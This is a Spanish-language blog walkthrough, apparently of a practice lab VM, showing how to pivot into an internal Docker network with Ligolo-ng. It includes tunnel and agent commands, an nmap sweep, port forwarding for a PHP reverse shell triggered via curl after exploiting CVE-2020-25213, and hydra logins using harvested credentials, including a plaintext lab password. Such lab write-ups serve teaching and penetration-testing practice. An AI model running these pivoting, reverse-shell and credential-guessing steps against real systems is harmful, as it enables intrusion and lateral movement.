El día de hoy quiero hablarles de Ligolo-ng, una herramienta que nos permitirá generar un túnel desde una conexión inversa TCP/TLS (empleando certificados), que nos será de mucha utilidad para cuando queramos pivotar entre distintos segmentos de red e incluso reenviar puertos de forma ágil y sencilla. Todo esto sin depender de SOCKS.
Recuerdo hace un tiempo leer maravillas de esta herramienta, pero no fue hasta que mi colega Jason (aka BleICer) quien por un tema, se puso a explicarme su funcionamiento, no tomé contacto con la misma. Además esta misma semana, revisando el canal de David Rodríguez (aka Xerosec), encontré un video en donde explicaba de forma muy detallada como funciona Ligolo-ng y me vino muy bien para interiorizarla. Lo siguiente fue descargarla y probarla por mi mismo, a continuación mis conclusiones.
Escenario
Lo primero vamos a definir un escenario idóneo para poner en marcha Ligolo-ng y valernos de sus bondades. Para ello voy a emplear la VM 3S4lt0 que la he obtenido de la Comunidad de Hacking Ético y que conocí gracias a noname, que me la presentó. Esta VM está simpática, ya que simula a través de Docker una infraestructura interna básica, con distintos activos que asumen un determinado rol en la red. Para ejemplificarlo y mostrar de lo que hablo, a continuación os dejo la siguiente ilustración:
Por último en este punto, quiero reseñar, que no pretenderemos resolver esta VM al completo, simplemente tocar algunos aspectos y cubrir aquellos rincones necesarios, en donde empleemos o necesitemos de Ligolo-ng.
Requerimientos
Podremos obtener desde el siguiente repositorio de GitHub los elementos necesarios para poner en marcha Ligolo-ng:
En este caso, precisaremos de 2 componentes, el proxy, que hará las labores de servidor del esquema, este debe ser ejecutado en nuestro equipo de ataque. Y por otro lado tendremos que hacernos con el agent, que será el componente que tendremos que trasladar al equipo objetivo y que se conectará con nuestro primer elemento (proxy).
Bien, antes de sincronizar los componentes de Ligolo-ng, será necesario asumir algunas configuraciones a nivel de red en el equipo de ataque. Empezamos generando la siguiente interfaz virtual tun, que llamaremos tap0, levantaremos y posteriormente definiremos el enrutado para llegar al segmento interno (que inicialmente no alcanzamos):
sudo ip tuntap add dev tap0 mod tun sudo ip link set tap0 up sudo ip route add 172.19.0.0/24 dev tap0
A medida que ejecutemos las líneas anteriores, observaremos los siguientes cambios en nuestro equipo de ataque:
Ya con esto asumido y configurado, será momento de conectarnos a nuestra máquina de salto, que en este caso, tiene la dirección IP: 15.15.15.91 de forma «externa».
Dado el escenario que estamos empleando, cabe destacar que la VM reenvía nuestro acceso por SSH en el puerto 2222 de la dirección IP 15.15.15.91, hasta el puerto 22 del contenedor con dirección IP 172.19.0.3. Luego lo observaremos con mas detenimiento y lo comprenderemos.
Volviendo al host de salto, aquí descargaremos el agente de Ligolo-ng y le asignaremos los correspondientes permisos de ejecución antes de ponerlo en marcha:
python -m SimpleHTTPServer wget 15.15.15.5:8000/agent_0.4.4_linux_amd64 chmod +x agent_0.4.4_linux_amd64
Listo, ahora si podemos invocar la «magia» de Ligolo-ng.
Antes de pasar a la siguiente sección, quiero dejar por aquí plasmados los comandos necesarios para restablecer los cambios en el equipo de ataque («borrado de huella«):
sudo ip route del 172.19.0.0/24 dev tap0 sudo ip link del tap0
Tunelización
Con lo anteriormente ya montado, ya solo basta con poner en sincronía los componentes desde ambos lados. Partimos por el lado del servidor proxy, de la siguiente manera:
./proxy_0.4.4_linux_amd64 -selfcert -tun tap0
Algo interesante en Ligolo-ng es que podemos emplear certificados para la comunicación entre el agente y el proxy, sin embargo por ahora obviaremos este apartado, por ello empleamos la opción -selfcert.
También resaltar que por defecto Ligolo-ng asume el nombre de nuestra interfaz virtual de red como «ligolo«, solo en caso de que tengamos nuestra propia customización debemos emplear la opción -tun.
La ejecución anterior, nos devolverá el siguiente resultado:
Antes de continuar observemos la conexión que se genera en nuestro equipo de ataque:
Ahora, será momento de trasladarnos al equipo objetivo y ejecutar el agente de la siguiente manera:
./agent_0.4.4_linux_amd64 -connect 15.15.15.5:11601 -ignore-cert
Con la bandera -connect definiremos la dirección IP y el puerto de nuestro servidor proxy, mientras que con la opción -ignore-cert, indicaremos que por ahora no emplearemos certificados para la comunicación entre los componentes.
En el proxy conseguiremos ver el siguiente resultado inmediatamente después de ejecutar la instrucción en el agente:
Pero ojo, todavía esto no está en marcha, para ponerlo a funcionar, debemos ejecutar los siguientes comandos en el proxy:
session start
En donde con la opción session podremos definir el agente que queremos emplear, esto está pensado para trabajar con múltiples agentes si es necesario, en nuestro escenario, solo requerimos de 1.
Después de mandar el start, ya podremos ejecutar el comando que deseemos, por ejemplo un mero ping al host con dirección IP «interno»:
Desde la consola del proxy, también podremos ver la configuración de red del agente:
Pero veamos un ejemplo de utilidad mayor y ventajosa sobre esta tunelización que hemos conseguido. Vamos con un reconocimiento de puertos y servicios sobre los hosts internos de la red que componen este escenario.
sudo nmap --min-rate 5000 -sS -sV --open 172.19.0.0/24
El resultado es simplemente maravilloso. ¿A que sí?
Reenvío de puertos
Bajo este esquema, una necesidad que prácticamente será imprescindible de asumir, es el reenvío de puertos. Porque ahora bien, llegamos y vemos a los hosts de forma «interna», como por ejemplo la siguiente petición que hacemos al servicio HTTP del host con dirección IP: 172.19.0.4.
Sin embargo, ¿Qué pasa si encontramos una vulnerabilidad web y pretendemos aprovecharla para conseguir acceso remoto a dicho activo?
Por ejemplo el host con dirección IP: 172.19.0.4 es vulnerable al CVE-2020-25213, que se trata de una vulnerabilidad de criticidad máxima (CVSSv3: 9.8) y que permite de forma no autenticada subir ficheros arbitrarios al host. Para aprovecharlo, emplearemos el siguiente exploit y automatismo:
Ahora otra cuestión que debemos resolver: ¿Podrá nuestra ejecución de comando llegar hasta nuestro equipo de atacante?
La respuesta inmediata es NO!
¿Por qué tanto dolor?
Esto también nos lo resolverá Ligolo-ng gracias al reenvío de puertos y conexiones.
Desde el proxy configuraremos el siguiente listener:
listener_add --addr 0.0.0.0:9999 --to 127.0.0.1:4444 listener_list
En donde con el operador --addr indicaremos el puerto que mantendremos a la escucha en el agente y con el operador --to referenciaremos al puerto del proxy que será el destino del reenvío.
Por tanto y si lo hemos entendido, nos quedará una reverse shell en PHP de la siguiente manera:
Volvemos entonces al nuestro exploit del CVE-2020-25213. Al ejecutarlo de forma exitosa obtendremos la siguiente vista:
Para el aprovechamiento, bastará con mantenernos a la escucha con Netcat y llamar al fichero PHP recientemente subido:
nc -lvnp 4444 curl -si http://triplesalto.che/wp-content/plugins/wp-file-manager/lib/php/../files/rshell.php
¿Qué os parece este tipo de brujería?
Más aprovechamiento
En este último host se identificaron un par de ficheros relevantes para continuar con la intrusión en los otros activos de la red:
En primer lugar, en el fichero wp.config.php se identificaron las credenciales de acceso a la base de datos:
La base de datos (MySQL) se encuentra en el host con dirección IP: 172.19.0.2 y para validar el acceso lo podemos hacer mediante hydra:
hydra -l wordpress -p wordpress mysql://172.19.0.2
Mientras que en el fichero de texto llamado credenciales_del_usuario.txt, se identificaron las siguientes credenciales:
Éstas credenciales resultaron ser las de acceso por SSH al host con dirección IP: 172.19.0.1:
hydra -l Christian -p R1oJaneYr0-2016 ssh://172.19.0.1
Por último y para dejar claro todo el entorno comprometido, revisemos los contenedores de Docker implementados en esta interesante VM:
Y nada, espero haberos convencido con las bondades de Ligolo-ng si aún no la habíais catado y si no, en las referencias os dejo algunos documentos adicionales altamente recomendables. Hasta el siguiente post.
Referencias
- https://github.com/nicocha30/ligolo-ng
- https://software-sinner.medium.com/how-to-tunnel-and-pivot-networks-using-ligolo-ng-cf828e59e740
- https://youtu.be/Kimrp9WZPTU
- https://4pfsec.com/ligolo
- https://icedmilocode.wordpress.com/2023/04/12/port-forwarding-using-ligolo-ng/
- https://www.whiteoaksecurity.com/blog/pivoting-vpn-process-tunneling-ligolo-ng/